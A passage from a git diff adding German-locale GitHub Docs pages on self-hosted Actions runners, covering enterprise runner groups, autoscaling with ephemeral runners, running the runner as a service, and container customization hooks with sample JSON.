+{% ifversion fpt %}If you use {% data variables.product.prodname_ghe_cloud %}, you{% elsif ghec or ghes or ghae %}You{% endif %} can add self-hosted runners to an enterprise, where they can be assigned to multiple organizations. The organization admins are then able to control which repositories can use it. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise).{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+New runners are assigned to the default group. You can modify the runner's group after you've registered the runner. For more information, see "[Managing access to self-hosted runners](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
+
+{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
+
+To add a self-hosted runner to an enterprise, you must be an enterprise owner. For information about how to add a self-hosted runner with the REST API,  see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runners).
+
+{% endif %}
+
+{% data reusables.actions.self-hosted-runner-add-to-enterprise %}
+
+{% data reusables.actions.self-hosted-runner-check-installation-success %}
+
+For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+
+{% data reusables.actions.self-hosted-runner-public-repo-access %}
+
+### Making enterprise runners available to repositories
+
+By default, runners in an enterprise's "Default" self-hosted runner group are available to all organizations in the enterprise, but are not available to all repositories in each organization.
+
+To make an enterprise-level self-hosted runner group available to an organization repository, you might need to change the organization's inherited settings for the runner group to make the runner available to repositories in the organization.
+
+For more information on changing runner group access settings, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+
+## Further reading
+
+- "[Getting started with self-hosted runners for your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise)"
+
+{% endif %}
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md b/translations/de-DE/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
new file mode 100644
index 0000000000..01c8c1cb9f
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
@@ -0,0 +1,107 @@
+---
+title: Autoscaling with self-hosted runners
+shortTitle: Autoscale self-hosted runners
+intro: You can automatically scale your self-hosted runners in response to webhook events.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About autoscaling
+
+You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the  [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity. 
+
+## Recommended autoscaling solutions
+
+{% data variables.product.prodname_dotcom %} recommends and partners closely with two open source projects that you can use for autoscaling your runners. One or both solutions may be suitable, based on your needs. 
+
+The following repositories have detailed instructions for setting up these autoscalers: 
+
+- [actions-runner-controller/actions-runner-controller](https://github.com/actions-runner-controller/actions-runner-controller) - A Kubernetes controller for {% data variables.product.prodname_actions %} self-hosted runners.
+- [philips-labs/terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) - A Terraform module for scalable {% data variables.product.prodname_actions %} runners on Amazon Web Services.
+
+Each solution has certain specifics that may be important to consider:
+
+| **Features** | **actions-runner-controller** | **terraform-aws-github-runner** |
+| :--- | :--- | :--- |
+| Runtime | Kubernetes | Linux and Windows VMs |
+| Supported Clouds | Azure, Amazon Web Services, Google Cloud Platform, on-premises | Amazon Web Services |
+| Where runners can be scaled | Enterprise, organization, and repository levels. By runner label and runner group. | Organization and repository levels. By runner label and runner group. |
+| How runners can be scaled | Webhook events, Scheduled, Pull-based | Webhook events, Scheduled (org-level runners only) |
+
+## Using ephemeral runners for autoscaling
+
+{% data variables.product.prodname_dotcom %} recommends implementing autoscaling with ephemeral self-hosted runners; autoscaling with persistent self-hosted runners is not recommended. In certain cases, {% data variables.product.prodname_dotcom %} cannot guarantee that jobs are not assigned to persistent runners while they are shut down. With ephemeral runners, this can be guaranteed because {% data variables.product.prodname_dotcom %} only assigns one job to a runner.
+
+This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs.  
+
+To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. For example:
+
+```shell
+./config.sh --url https://github.com/octo-org --token example-token --ephemeral
+```
+
+The {% data variables.product.prodname_actions %} service will then automatically de-register the runner after it has processed one job. You can then create your own automation that wipes the runner after it has been de-registered.
+
+{% note %}
+
+**Note:**  If a job is labeled for a certain type of runner, but none matching that type are available, the job does not immediately fail at the time of queueing. Instead, the job will remain queued until the 24 hour timeout period expires.
+
+{% endnote %}
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae %}
+
+## Controlling runner software updates on self-hosted runners
+
+By default, self-hosted runners will automatically perform a software update whenever a new version of the runner software is available.  If you use ephemeral runners in containers then this can lead to repeated software updates when a new runner version is released.  Turning off automatic updates allows you to update the runner version on the container image directly on your own schedule.
+
+To turn off automatic software updates and install software updates yourself, specify the `--disableupdate` flag when registering your runner using `config.sh`. For example:
+
+```shell
+./config.sh --url https://github.com/YOUR-ORGANIZATION --token EXAMPLE-TOKEN --disableupdate
+```
+
+If you disable automatic updates, you must still update your runner version regularly.  New functionality in {% data variables.product.prodname_actions %} requires changes in both the {% data variables.product.prodname_actions %} service _and_ the runner software.  The runner may not be able to correctly process jobs that take advantage of new features in {% data variables.product.prodname_actions %} without a software update.
+
+If you disable automatic updates, you will be required to update your runner version within 30 days of a new version being made available.  You may want to subscribe to notifications for releases in the [`actions/runner` repository](https://github.com/actions/runner/releases). For more information, see "[Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#about-custom-notifications)."
+
+For instructions on how to install the latest runner version, see the installation instructions for [the latest release](https://github.com/actions/runner/releases).
+
+{% note %}
+
+**Note:** If you do not perform a software update within 30 days, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner.  In addition, if a critical security update is required, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner until it has been updated.
+
+{% endnote %}
+
+{% endif %}
+
+## Using webhooks for autoscaling
+
+You can create your own autoscaling environment by using payloads received from the [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook. This webhook is available at the repository, organization, and enterprise levels, and the payload for this event contains an `action` key that corresponds to the stages of a workflow job's life-cycle; for example when jobs are `queued`, `in_progress`, and `completed`. You must then create your own scaling automation in response to these webhook payloads.
+
+- For more information about the `workflow_job` webhook, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)."
+- To learn how to work with webhooks, see "[Creating webhooks](/developers/webhooks-and-events/webhooks/creating-webhooks)."
+
+## Authentication requirements
+
+You can register and delete repository and organization self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app. 
+
+Your access token will require the following scope:
+
+- For private repositories, use an access token with the [`repo` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
+- For public repositories, use an access token with the [`public_repo` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
+- For organizations, use an access token with the [`admin:org` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
+
+To  authenticate using a {% data variables.product.prodname_dotcom %} App, it must be assigned the following permissions:
+- For repositories, assign the `administration` permission.
+- For organizations, assign the `organization_self_hosted_runners` permission.
+
+You can register and delete enterprise self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token.
+
+Your access token will require the `manage_runners:enterprise` scope.
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/translations/de-DE/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
new file mode 100644
index 0000000000..c4129a70fd
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
@@ -0,0 +1,188 @@
+---
+title: Die Anwendung für selbst-gehostete Runner als Dienst konfigurieren
+intro: 'Du kannst die Anwendung für selbstgehostete Runner als Dienst konfigurieren, um die Runneranwendung automatisch zu starten, wenn der Rechner hochfährt.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+defaultPlatform: linux
+shortTitle: Run runner app on startup
+ms.openlocfilehash: d9f89bafe27314d321a30e2ce6c4eb8c98ec7dbb
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147705196'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% capture service_first_step %}1. Beende die selbstgehostete Runneranwendung, wenn sie gerade ausgeführt wird.{% endcapture %} {% capture service_non_windows_intro_shell %}Öffne auf dem Runnercomputer eine Shell in dem Verzeichnis, in dem du die selbst gehostete Runneranwendung installiert hast. Verwende die folgenden Befehle, um den Dienst für selbstgehostete Runner zu installieren und zu verwalten.{% endcapture %}
+
+{% capture service_nonwindows_intro %}
+
+{% note %}
+
+**Hinweis**: Du musst {% data variables.product.product_name %} einen Runner hinzufügen, bevor du die Anwendung für selbstgehostete Runner als Dienst konfigurieren kannst. Weitere Informationen findest du unter [Hinzufügen von selbstgehosteten Runnern](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners).
+
+{% endnote %} {% endcapture %}
+
+{% capture service_win_name %}actions.runner.*{% endcapture %}
+
+{% linux %}
+
+{{ service_nonwindows_intro }}
+
+Für Linux-Systeme mit `systemd` kannst du das Skript `svc.sh` verwenden, das nach dem erfolgreichen Hinzufügen des Runners erstellt wird, um die Anwendung als Dienst zu installieren und deren Nutzung zu verwalten.
+
+{{ service_non_windows_intro_shell }}
+
+{% endlinux %}
+
+{% windows %}
+
+{% note %}
+
+**Hinweis:** Die Konfiguration der Anwendung für selbstgehostete Runner als Windows-Dienst ist Teil des Anwendungskonfigurationsprozesses. Wenn du die Anwendung für selbst-gehostete Runner bereits konfiguriert hast, aber nicht als Dienst, dann musst du den Runner aus {% data variables.product.prodname_dotcom %} entfernen und die Anwendung neu konfigurieren. Wenn du die Anwendung neu konfigurierst, wähle die Option, die Anwendung als Dienst zu konfigurieren.
+
+Weitere Informationen findest du unter [Entfernen von selbstgehosteten Runnern](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners) und [Hinzufügen selbstgehosteter Runner](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners).
+
+{% endnote %}
+
+Du kannst den Runnerdienst in der Windows-Anwendung **Services** verwalten oder PowerShell verwenden, um die folgenden Befehle auszuführen.
+
+{% endwindows %}
+
+{% mac %}
+
+{{ service_nonwindows_intro }}
+
+{{ service_non_windows_intro_shell }}
+
+{% endmac %}
+
+{% linux %}
+
+## Den Dienst installieren
+
+{{ service_first_step }}
+1. Installiere den Dienst mit folgendem Befehl:
+
+   ```shell
+   sudo ./svc.sh install
+   ```
+
+1. Der Befehl verwendet alternativ ein optionales `user`-Argument, um den Dienst als anderer Benutzer zu installieren.
+
+  ```shell
+  ./svc.sh install <em>USERNAME</em>
+  ```
+
+{% endlinux %}
+
+{% mac %}
+
+## Den Dienst installieren
+
+{{ service_first_step }}
+1. Installiere den Dienst mit folgendem Befehl:
+
+   ```shell
+   ./svc.sh install
+   ```
+{% endmac %}
+
+## Den Dienst starten
+
+Starte den Dienst mit folgendem Befehl:
+
+{% linux %}
+```shell
+sudo ./svc.sh start
+```
+{% endlinux %} {% windows %}
+```shell
+Start-Service "{{ service_win_name }}"
+```
+{% endwindows %} {% mac %}
+```shell
+./svc.sh start
+```
+{% endmac %}
+
+## Den Status des Dienstes überprüfen
+
+Überprüfe den Status des Dienstes mit folgendem Befehl:
+
+{% linux %}
+```shell
+sudo ./svc.sh status
+```
+{% endlinux %} {% windows %}
+```shell
+Get-Service "{{ service_win_name }}"
+```
+{% endwindows %} {% mac %}
+```shell
+./svc.sh status
+```
+{% endmac %}
+
+ Weitere Informationen zum Anzeigen des Status deines selbstgehosteten Runners findest du unter [Überwachung und Problembehandlung bei selbstgehosteten Runnern](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners).
+
+## Den Dienst beenden
+
+Beende den Dienst mit dem folgenden Befehl:
+
+{% linux %}
+```shell
+sudo ./svc.sh stop
+```
+{% endlinux %} {% windows %}
+```shell
+Stop-Service "{{ service_win_name }}"
+```
+{% endwindows %} {% mac %}
+```shell
+./svc.sh stop
+```
+{% endmac %}
+
+## Den Dienst de-installieren
+
+1. Beende den Dienst, falls er gerade läuft.
+1. De-installiere den Dienst mit folgendem Befehl:
+
+    {% linux %}
+    ```shell
+    sudo ./svc.sh uninstall
+    ```
+    {% endlinux %} {% windows %}
+    ```shell
+    Remove-Service "{{ service_win_name }}"
+    ```
+    {% endwindows %} {% mac %}
+    ```shell
+    ./svc.sh uninstall
+    ```
+    {% endmac %}
+
+
+{% linux %}
+
+## Dienst für selbst-gehosteten Runner anpassen
+
+Wenn du die oben genannte Standardkonfiguration des `systemd`-Dienstes nicht verwenden möchtest, kannst du einen angepassten Dienst erstellen oder deinen bevorzugten Dienstmechanismus nutzen. Erwäge die Verwendung der `serviced`-Vorlage unter `actions-runner/bin/actions.runner.service.template` als Referenz. Wenn du einen angepassten Dienst verwendest, muss der selbstgehostete Runnerdienst immer mit dem Einstiegspunkt `runsvc.sh` aufgerufen werden.
+
+{% endlinux %}
+
+{% mac %}
+
+## Dienst für selbst-gehosteten Runner anpassen
+
+Wenn du die oben genannte Standardkonfiguration des „launchd“-Dienstes nicht verwenden möchtest, kannst du einen angepassten Dienst erstellen oder deinen bevorzugten Dienstmechanismus nutzen. Erwäge die Verwendung der `plist`-Vorlage unter `actions-runner/bin/actions.runner.plist.template` als Referenz. Wenn du einen angepassten Dienst verwendest, muss der selbstgehostete Runnerdienst immer mit dem Einstiegspunkt `runsvc.sh` aufgerufen werden.
+
+{% endmac %}
diff --git a/translations/de-DE/content/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs.md b/translations/de-DE/content/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs.md
new file mode 100644
index 0000000000..9f3b79407d
--- /dev/null
+++ b/translations/de-DE/content/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs.md
@@ -0,0 +1,535 @@
+---
+title: Anpassen der von Aufträgen verwendeten Container
+intro: 'Du kannst anpassen, wie dein selbstgehosteter Runner einen Container für einen Auftrag aufruft.'
+versions:
+  feature: container-hooks
+type: reference
+miniTocMaxHeadingLevel: 4
+shortTitle: Customize containers used by jobs
+ms.openlocfilehash: 774aad09c504a09f0bf4f60af286952ee24f89b5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147881163'
+---
+{% note %}
+
+**Hinweis**: Dieses Feature befindet sich derzeit in der Betaversion und wird ggf. noch geändert.
+
+{% endnote %}
+
+## Informationen zur Containeranpassung
+
+{% data variables.product.prodname_actions %} ermöglicht die Ausführung eines Auftrags in einem Container, wenn die Anweisung `container:` in der Workflowdatei verwendet wird. Weitere Informationen findest du unter [Ausführen von Aufträgen in einem Container](/actions/using-jobs/running-jobs-in-a-container). Um containerbasierte Aufträge zu verarbeiten, erstellt der selbstgehostete Runner einen Container für jeden Auftrag.
+
+{% data variables.product.prodname_actions %} unterstützt Befehle, mit denen angepasst werden kann, wie Container vom selbstgehosteten Runner erstellt werden. Du kannst diese Befehle beispielsweise verwenden, um die Container über Kubernetes oder Podman zu verwalten. Außerdem kannst du die Befehle `docker run` und `docker create` anpassen, die zum Aufrufen des Containers verwendet werden. Die Anpassungsbefehle werden von einem Skript ausgeführt, das automatisch ausgelöst wird, wenn eine bestimmte Umgebungsvariable auf dem Runner festgelegt wird. Weitere Informationen findest du weiter unten unter [Auslösen des Anpassungsskripts](#triggering-the-customization-script).
+
+Diese Anpassung ist nur für Linux-basierte selbstgehostete Runner verfügbar. Es ist kein Root-Benutzer-Zugriff erforderlich.
+
+## Befehle für die Containeranpassung
+
+{% data variables.product.prodname_actions %} enthält die folgenden Befehle für die Containeranpassung:
+
+- [`prepare_job`](/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs#prepare_job): Wird aufgerufen, wenn ein Auftrag gestartet wird
+- [`cleanup_job`](/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs#cleanup_job): Wird am Ende eines Auftrags aufgerufen
+- [`run_container_step`](/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs#run_container_step): Wird einmal für jede Containeraktion im Auftrag aufgerufen
+- [`run_script_step`](/actions/hosting-your-own-runners/customizing-the-containers-used-by-jobs#run_script_step): Führt jeden Schritt aus, der keine Containeraktion ist
+
+Jede dieser Anpassungsbefehle muss in einer eigenen JSON-Datei definiert werden. Der Dateiname muss mit dem Befehlsname übereinstimmen und die Erweiterung `.json` aufweisen. Der Befehl `prepare_job` wird beispielsweise in `prepare_job.json` definiert. Diese JSON-Dateien werden dann im selbstgehosteten Runner als Teil des `index.js`-Hauptskripts zusammen ausgeführt. Dieser Prozess wird unter [Generieren des Anpassungsskripts](#generating-the-customization-script) ausführlicher beschrieben.
+
+Diese Befehle enthalten auch Konfigurationsargumente, die unten ausführlicher erläutert werden.
+
+### `prepare_job`
+
+Der Befehl `prepare_job` wird aufgerufen, wenn ein Auftrag gestartet wird. {% data variables.product.prodname_actions %} übergibt alle Auftrags- oder Dienstcontainer, die im Auftrag enthalten sind. Dieser Befehl wird aufgerufen, wenn Dienst- oder Auftragscontainer im Auftrag vorhanden sind. 
+
+{% data variables.product.prodname_actions %} geht davon aus, dass die folgenden Aufgaben mit dem Befehl `prepare_job` erledigt werden:
+
+- Bei Bedarf alle Inhalte aus vorherigen Aufträgen löschen
+- Bei Bedarf ein Netzwerk erstellen
+- Den Auftrag und die Dienstcontainer pullen
+- Den Auftragscontainer starten
+- Die Dienstcontainer starten
+- Alle von {% data variables.product.prodname_actions %} benötigten Informationen in die Antwortdatei schreiben:
+  - Erforderlich: Angabe, ob der Container ein `alpine`-Linux-Container ist (mit der booleschen Variablen `isAlpine`) 
+  - Optional: Kontextfelder, die für den Auftragskontext festgelegt werden sollen – nur dann sind diese für Benutzer*innen verfügbar. Weitere Informationen findest du unter [Kontext zu `job`](/actions/learn-github-actions/contexts#job-context).
+- `0` zurückgeben, wenn die Integritätsprüfungen bestanden und die Auftrags- und Dienstcontainer gestartet wurden
+
+#### Argumente
+
+- `jobContainer`: **(optional)** Ein Objekt mit Informationen zum angegebenen Auftragscontainer
+  - `image`: **(erforderlich)** Eine Zeichenfolge, die das Docker-Image enthält
+  - `workingDirectory`: **(erforderlich)** Eine Zeichenfolge, die den absoluten Pfad des Arbeitsverzeichnisses enthält
+  - `createOptions`: **(optional)** Die optionalen _Erstellungsoptionen_, die in der YAML-Datei angegeben sind. Weitere Informationen findest du unter [Beispiel: Ausführen eines Auftrags in einem Container](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
+  - `environmentVariables`: **(optional)** Legt eine Zuordnung der Schlüsselumgebungsvariablen fest
+  - `userMountVolumes`: **(optional)** Ein Array der benutzerseitig eingebundenen Volumes, das in der YAML-Datei festgelegt wird. Weitere Informationen findest du unter [Beispiel: Ausführen eines Auftrags in einem Container](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
+    - `sourceVolumePath`: **(erforderlich)** Der Quellpfad zum Volume, das im Docker-Container bereitgestellt wird
+    - `targetVolumePath`: **(erforderlich)** Der Zielpfad zum Volume, das im Docker-Container bereitgestellt wird
+    - `readOnly`: **(erforderlich)** Legt, ob das eingebundene Volume schreibgeschützt sein soll
+  - `systemMountVolumes`: **(erforderlich)** Ein Array der eingebundenen Volumes, die in den Container eingebunden werden sollen (mit den gleichen Feldern wie oben)
+    - `sourceVolumePath`: **(erforderlich)** Der Quellpfad zum Volume, das im Docker-Container bereitgestellt wird
+    - `targetVolumePath`: **(erforderlich)** Der Zielpfad zum Volume, das im Docker-Container bereitgestellt wird
+    - `readOnly`: **(erforderlich)** Legt, ob das eingebundene Volume schreibgeschützt sein soll
+  - `registry`: **(optional)** Die Docker-Registrierungsanmeldeinformationen für eine private Containerregistrierung
+    - `username`: **(optional)** Der Benutzername des Registrierungskontos
+    - `password`: **(optional)** Das Kennwort für das Registrierungskonto
+    - `serverUrl`: **(optional)** Die Registrierungs-URL
+  - `portMappings`: **(optional)** Ein Schlüssel-Wert-Hash der _source:target_-Ports, die dem Container zugeordnet werden sollen
+- `services`: **(optional)** Ein Array der Dienstcontainer, die gestartet werden sollen
+  - `contextName`: **(erforderlich)** Der Name des Diensts im Auftragskontext
+  - `image`: **(erforderlich)** Eine Zeichenfolge, die das Docker-Image enthält
+  - `createOptions`: **(optional)** Die optionalen _Erstellungsoptionen_, die in der YAML-Datei angegeben sind. Weitere Informationen findest du unter [Beispiel: Ausführen eines Auftrags in einem Container](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
+  - `environmentVariables`: **(optional)** Legt eine Zuordnung der Schlüsselumgebungsvariablen fest
+  - `userMountVolumes`: **(optional)** Ein Array der eingebundenen Volumes, die in den Container eingebunden werden sollen (mit den gleichen Feldern wie oben)
+    - `sourceVolumePath`: **(erforderlich)** Der Quellpfad zum Volume, das im Docker-Container bereitgestellt wird
+    - `targetVolumePath`: **(erforderlich)** Der Zielpfad zum Volume, das im Docker-Container bereitgestellt wird
+    - `readOnly`: **(erforderlich)** Legt, ob das eingebundene Volume schreibgeschützt sein soll
+  - `registry`: **(optional)** Die Docker-Registrierungsanmeldeinformationen für die private Containerregistrierung
+    - `username`: **(optional)** Der Benutzername des Registrierungskontos
+    - `password`: **(optional)** Das Kennwort für das Registrierungskonto
+    - `serverUrl`: **(optional)** Die Registrierungs-URL
+  - `portMappings`: **(optional)** Ein Schlüssel-Wert-Hash der _source:target_-Ports, die dem Container zugeordnet werden sollen
+
+#### Beispieleingabe
+
+```json{:copy}
+{
+  "command": "prepare_job",
+  "responseFile": "/users/octocat/runner/_work/{guid}.json",
+  "state": {},
+  "args": {
+    "jobContainer": {
+      "image": "node:14.16",
+      "workingDirectory": "/__w/octocat-test2/octocat-test2",
+      "createOptions": "--cpus 1",
+      "environmentVariables": {
+        "NODE_ENV": "development"
+      },
+      "userMountVolumes": [
+        {
+          "sourceVolumePath": "my_docker_volume",
+          "targetVolumePath": "/volume_mount",
+          "readOnly": false
+        }
+      ],
+      "systemMountVolumes": [
+        {
+          "sourceVolumePath": "/home/octocat/git/runner/_layout/_work",
+          "targetVolumePath": "/__w",
+          "readOnly": false
+        },
+        {
+          "sourceVolumePath": "/home/octocat/git/runner/_layout/externals",
+          "targetVolumePath": "/__e",
+          "readOnly": true
+        },
+        {
+          "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp",
+          "targetVolumePath": "/__w/_temp",
+          "readOnly": false
+        },
+        {
+          "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_actions",
+          "targetVolumePath": "/__w/_actions",
+          "readOnly": false
+        },
+        {
+          "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_tool",
+          "targetVolumePath": "/__w/_tool",
+          "readOnly": false
+        },
+        {
+          "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_home",
+          "targetVolumePath": "/github/home",
+          "readOnly": false
+        },
+        {
+          "sourceVolumePath": "/home/octocat/git/runner/_layout/_work/_temp/_github_workflow",
+          "targetVolumePath": "/github/workflow",
+          "readOnly": false
+        }
+      ],
+      "registry": {
+        "username": "octocat",
+        "password": "examplePassword",
+        "serverUrl": "https://index.docker.io/v1"
+      },
+      "portMappings": { "80": "801" }
+    },
+    "services": [
+      {
+        "contextName": "redis",
+        "image": "redis",
+        "createOptions": "--cpus 1",
+        "environmentVariables": {},
+        "userMountVolumes": [],
+        "portMappings": { "80": "801" },
+        "registry": {
+          "username": "octocat",
+          "password": "examplePassword",
+          "serverUrl": "https://index.docker.io/v1"
+        }
+      }
+    ]
+  }
+}
+```
+
+#### Beispielausgabe
+
+Diese Beispielausgabe entspricht dem Inhalt der in der obigen Eingabe definierten `responseFile`-Datei.
+
+```json{:copy}
+{
+  "state": {
+    "network": "example_network_53269bd575972817b43f7733536b200c",
+    "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
+    "serviceContainers": {
+      "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
+    }
+  },
+  "context": {
+    "container": {
+      "id": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
+      "network": "example_network_53269bd575972817b43f7733536b200c"
+    },
+    "services": {
+      "redis": {
+        "id": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105",
+        "ports": {
+          "8080": "8080"
+        },
+        "network": "example_network_53269bd575972817b43f7733536b200c"
+      }
+    },
+    "isAlpine": true
+  }
+}
+```
+
+### `cleanup_job`
+
+Der Befehl `cleanup_job` wird am Ende eines Auftrags aufgerufen. {% data variables.product.prodname_actions %} geht davon aus, dass die folgenden Aufgaben mit dem Befehl `cleanup_job` erledigt werden:
+
+- Alle ausgeführten Dienst- oder Auftragscontainer (oder den entsprechenden Pod) beenden
+- Netzwerk beenden (falls vorhanden)
+- Alle Auftrags- oder Dienstcontainer (oder den entsprechenden Pod) löschen
+- Netzwerk löschen (falls vorhanden)
+- Alle Inhalte bereinigen, die für den Auftrag erstellt wurden
+
+#### Argumente
+
+Es werden keine Argumente für `cleanup_job` angegeben.
+
+#### Beispieleingabe
+
+```json{:copy}
+{
+  "command": "cleanup_job",
+  "responseFile": null,
+  "state": {
+    "network": "example_network_53269bd575972817b43f7733536b200c",
+    "jobContainer": "82e8219701fe096a35941d869cf3d71af1d943b5d8bdd718857fb87ac3042480",
+    "serviceContainers": {
+      "redis": "60972d9aa486605e66b0dad4abb678dc3d9116f536579e418176eedb8abb9105"
+    }
+  },
+  "args": {}
+}
+```
+
+#### Beispielausgabe
+
+Es wird keine Ausgabe für `cleanup_job` erwartet.
+
+### `run_container_step`
+
+Der Befehl `run_container_step` wird einmal für jede Containeraktion im Auftrag aufgerufen. {% data variables.product.prodname_actions %} geht davon aus, dass die folgenden Aufgaben mit dem Befehl `run_container_step` erledigt werden:
+
+- Den erforderlichen Container pullen oder erstellen (oder einen Fehler ausgeben, falls das nicht möglich ist)
+- Die Containeraktion ausführen und den Exitcode für den Container zurückgeben
+- Alle Schrittprotokollausgaben für stdout und stderr streamen
+- Den Container nach der Ausführung bereinigen
+
+#### Argumente
+
+- `image`: **(optional)** Eine Zeichenfolge, die das Docker-Image enthält. Andernfalls muss ein Dockerfile bereitgestellt werden.
+- `dockerfile`: **(optional)** Eine Zeichenfolge, die den Pfad zum Dockerfile enthält, andernfalls muss ein Image bereitgestellt werden.
+- `entryPointArgs`: **(optional)** Eine Liste, die die Einstiegspunktargumente enthält
+- `entryPoint`: **(optional)** Der zu verwendende Containereinstiegspunkt, wenn der Standardeinstiegspunkt des Images überschrieben werden soll
+- `workingDirectory`: **(erforderlich)** Eine Zeichenfolge, die den absoluten Pfad des Arbeitsverzeichnisses enthält
+- `createOptions`: **(optional)** Die optionalen _Erstellungsoptionen_, die in der YAML-Datei angegeben sind. Weitere Informationen findest du unter [Beispiel: Ausführen eines Auftrags in einem Container](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
+- `environmentVariables`: **(optional)** Legt eine Zuordnung der Schlüsselumgebungsvariablen fest
+- `prependPath`: **(optional)** Ein Array zusätzlicher Pfade, die der Variablen `$PATH` vorangestellt werden sollen
+- `userMountVolumes`: **(optional)** Ein Array der benutzerseitig eingebundenen Volumes, das in der YAML-Datei festgelegt wird. Weitere Informationen findest du unter [Beispiel: Ausführen eines Auftrags in einem Container](/actions/using-jobs/running-jobs-in-a-container#example-running-a-job-within-a-container).
+  - `sourceVolumePath`: **(erforderlich)** Der Quellpfad zum Volume, das im Docker-Container bereitgestellt wird
+  - `targetVolumePath`: **(erforderlich)** Der Zielpfad zum Volume, das im Docker-Container bereitgestellt wird
+  - `readOnly`: **(erforderlich)** Legt, ob das eingebundene Volume schreibgeschützt sein soll
+- `systemMountVolumes`: **(erforderlich)** Ein Array der eingebundenen Volumes, die in den Container eingebunden werden sollen (mithilfe der gleichen Felder wie oben)
